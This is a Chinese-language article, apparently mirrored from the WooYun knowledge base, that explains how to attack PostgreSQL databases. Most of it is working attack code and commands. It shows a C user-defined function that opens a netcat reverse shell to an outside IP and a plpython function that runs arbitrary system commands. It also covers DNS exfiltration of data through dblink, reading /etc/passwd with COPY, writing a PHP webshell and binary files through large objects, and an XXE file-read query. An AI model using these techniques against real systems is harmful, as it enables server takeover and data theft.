作者:
Ricter
·
2015/06/04 10:16
這篇文章主要講解了如何 Hacking PostgreSQL 資料庫,總結了一些常用方法。
0x01 SQL 注入
大體上和 MySQL 差不多,有一些變數不一樣。具體就不再舉例,可以看這篇總結:PostgreSQL SQL Injection Cheat Sheet。
此外,利用 sqlmap 也是一個不錯的方式。
0x02 執行命令
C
sqlmap 給出的幾個 UDF 在我本地測試並不成功,所以最好的方法是自己編譯一個動態連結庫。
根據官方文件,我們要定義一個 PG_MODULE_MAGIC。在 PostgreSQL 這個是為了 Postgresql 的安全機制(大概?),在 8.2 以後需要驗證這個 magic block,不然,在加在動態連結庫的時候會報錯:
ERROR: incompatible library "xxx.so": missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
執行系統命令的動態連結庫原始碼為:
#!c++
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
text *exec()
{
system("nc -e /bin/bash 10.211.55.2 9999");
}
利用如下命令編譯 .so 檔案:
#!bash
gcc 1.c -I`pg_config --includedir-server` -fPIC -shared -o udf.so
在 pgsql 裡執行:
#!sql
CREATE OR REPLACE FUNCTION exec() RETURNS text AS '/tmp/1.so', 'exec' LANGUAGE C STRICT;
select exec();
監聽的 9999 埠得到一個 shell:
Python
預設 PostgreSQL 不會安裝 Python 的擴充套件,在 Ubuntu 下可以透過:
#!bash
apt-get install postgresql-plpython-9.1
進行安裝,除了 python 的擴充套件,還有 sh、perl、ruby 等等。
安裝完成後,首先是建立一個 UDF 來執行我們要執行的命令:
#!sql
CREATE FUNCTION system (a text)
RETURNS text
AS $$
import os
return os.popen(a).read()
$$ LANGUAGE plpython2u;
其中的 plpython2u 可以利用如下語句獲取:
select * from pg_language;
我們可以根據返回來判斷利用哪個語言(plpython2u、plpythonu、plpython3u 等等)。
建立好 UDF 後,直接呼叫如下語句即可:
#!sql
select system('ls -la');
此外,sh、ruby 等同理,可以參考官方文件來寫一個 UDF。
文件地址:http://www.postgresql.org/docs/8.2/static/server-programming.html
0x03 DNS 請求獲取資料
同樣的,PostgreSQL 可以透過 DNS Request 一樣獲取資料,在盲注的情況下。用到的一個擴充套件叫做 dblink
,可以透過如下命令開啟:
#!sql
CREATE EXTENSION dblink
接著執行如下語句,獲取當前資料庫使用者名稱稱:
#!sql
SELECT * FROM dblink('host='||(select user)||'.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
遠端獲取到請求內容:
0x04 讀寫檔案
讀
PostgreSQL 讀取檔案雖然有些蛋疼,但是還是可以讀取的:
#!sql
CREATE TABLE temptable(t text);
COPY temptable FROM '/etc/passwd';
SELECT * FROM temptable limit 1 offset 0;
讀取結束後:
#!sql
DROP TABLE temptable;
寫
寫檔案分為兩個部分,一個是寫 webshell,另外一個是寫二進位制檔案。
寫 webshell 十分簡單,利用:
#!php
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
即可寫一個檔案。
根據瘋狗的這一篇帖子:http://zone.wooyun.org/content/4971,說是可以利用 PostgreSQL 的“大物件資料”來寫,但是我測試是失敗的。報錯如下:
#!bash
ERROR: pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378
用 COPY 的 FORMAT 位 binary 來寫檔案的話,會被 PostgreSQL 加上幾個位元組,導致不能識別為 ELF 檔案。
實際上,閱讀官方文件可知,寫的檔案每一頁不能超過 2KB,所以我們要把資料分段:
#!sql
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/test.so');
SELECT lo_unlink(12345);
其中每一段都要小於等於 2KB,這樣就可以成功寫入:
0x05 XXE
老版本的 PostgreSQL 存在 XXE 漏洞。具體可以看這篇文章:PostgreSQL (all) error-based XXE 0day。
大體就是執行語句:
#!sql
select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');
可以獲取一些資料,也可以進行 SSRF 等。不過因為年代很久,可能很多都修復過了,所以作為一個保留方案,可能會有意外的驚喜。
參考
- PostgreSQL SQL Injection Cheat Sheet
- 關於PostgreSQL的那些事兒(檔案讀取寫入、命令執行的辦法)
- PostgreSQL 9.0 Documentation
- PostgreSQL (all) error-based XXE 0day
最後,如有錯誤請不吝賜教。
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!